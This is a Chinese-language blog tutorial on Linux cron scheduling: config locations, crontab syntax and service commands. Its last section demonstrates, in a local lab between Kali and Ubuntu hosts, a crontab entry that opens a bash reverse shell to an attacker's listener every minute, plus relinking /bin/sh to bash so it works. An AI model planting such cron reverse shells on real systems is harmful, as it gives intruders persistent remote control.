對Linux定時任務的認識
在Linux 系統上面原本就有非常多的計劃性工作,因此這個系統服務是預設啟動的。但是,Linux系統也給使用者提供了可以自己設定計劃,這就是定時任務。通過定時任務,使用者可以自己設定在什麼時候執行什麼命令,在這個過程中涉及到 crontab 命令。
在Linux中,週期執行的任務一般由cron這個守護程序來處理,cron讀取一個或多個配置檔案,這些配置檔案中包含了命令列及其呼叫時間,cron的配置檔案稱為“crontab”,是“cron table”的簡寫。
一般cron在3個地方查詢配置檔案:
/var/spool/cron/ 這個目錄下存放的是每個使用者包括root的crontab任務,每個任務以建立者的名字命名。
/etc/crontab 這個檔案負責安排由系統管理員制定的維護系統以及其他任務的crontab。
/etc/cron.d/ 這個目錄用來存放任何要執行的crontab檔案或指令碼。
cron服務一般是自啟的:
service crond start 啟動服務
service crond stop 關閉服務
service crond restart 重啟服務
service crond reload 重新載入配置
service crond status 檢視服務狀態
cron有兩個配置檔案,一個是一個全域性配置檔案(/etc/crontab),是針對系統任務的;一組是crontab命令生成的配置檔案(/var/spool/cron下的檔案),是針對某個使用者的。定時任務配置到任意一箇中都可以。
檢視全域性配置檔案配置情況:
cat /etc/crontab
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
檢視當前使用者下的定時任務:
crontab -l 或 cat /var/spool/cron/使用者名稱
root就是我當前使用者的定時任務。
crontab任務配置基本格式:
* * * * * (command)
第一個 * 表示分鐘1~59,每分鐘用 * 或者 */1 表示
第二個 * 表示小時1~23(0表示0點)
第三個 * 表示日期1~31
第四個 * 表示月份1~12
第五個 * 表示星期0~6(0表示星期天)
(command) 表示要執行的命令
在以上任何值中,星號(*)可以用來代表所有有效的值。比如,月份值中的星號意味著在滿足其它制約條件後每月都執行該命令。
整數間的短線(-)指定一個整數範圍。比如,1-4 意味著整數 1、2、3、4。
用逗號(,)隔開的一系列值指定一個列表。比如,3, 4, 6, 8 標明這四個指定的整數。
正斜線(/)可以用來指定間隔頻率。在範圍後加上 / 意味著在範圍內可以跳過 integer。譬如,0-59/2 可以用來在分鐘欄位定義每兩分鐘。間隔頻率值還可以和星號一起使用。例如,*/3 的值可以用在月份欄位中表示每三個月執行一次任務。
開頭為井號(#)的行是註釋,不會被處理。
例如:
0 4 * * * rm ~/桌面/test.txt
//每天晚上四點刪除 ~/桌面/ 這個目錄下的 test.txt 這個檔案
10 4 1,3,5 * * service apache2 restart
//表示每月1,3,5號的4:10會重啟Apache伺服器
......
引數說明:
usage: crontab [-u user] file
crontab [ -u user ] [ -i ] { -e | -l | -r }
(default operation is replace, per 1003.2)
-e (edit user's crontab)
-l (list user's crontab)
-r (delete user's crontab)
-i (prompt before deleting user's crontab)
例如:當前使用者是root,建立root的定時任務
crontab -e //進入編輯模式
寫下定時任務
然後檢視當前使用者的定時任務: crontab -l
我寫的定時任務是在每天12:05時在/var/spool/cron/ 目錄下建立一個test.txt檔案,可以看到任務已經執行。
定時任務反彈shell:
通常在在網路安全中,我們用crontab建立定時任務反彈shell
在本地演示一下
攻擊機:kali ip:192.168.1.184
目標機:ubuntu ip:192.168.1.170
演示開始:
先在攻擊機上監聽埠
[email protected]:~# nc -lvp 8888
listening 正在監聽
接下來在目標機上寫下定時任務
crontab -e //開啟編輯器,寫入
* * * * * bash -i >& /dev/tcp/192.168.1.184/8888 0>&1
成功反彈shell
不過在ubuntu下寫定時任務反彈shell有個問題:
linux裡面的cron中command執行的shell環境是/bin/sh
/bin/sh 檔案實際上是一個軟連結檔案,他指向的是dash這個shell ,而實際上dash這個shell只有執行指令碼的能力,而沒有互動能力。 這裡我們只需要將修改sh的軟連結為bash即可
sudo ln - s -f bash /bin/sh //修改軟連線需要root許可權
修改成功後就會出現上面反彈shell成功。
Ubuntu下計劃任務反彈shell需要注意的事項:
1.需要用root許可權書寫計劃
2.書寫crontab計劃的時候要將/bin/sh 軟連結到 /bin/bash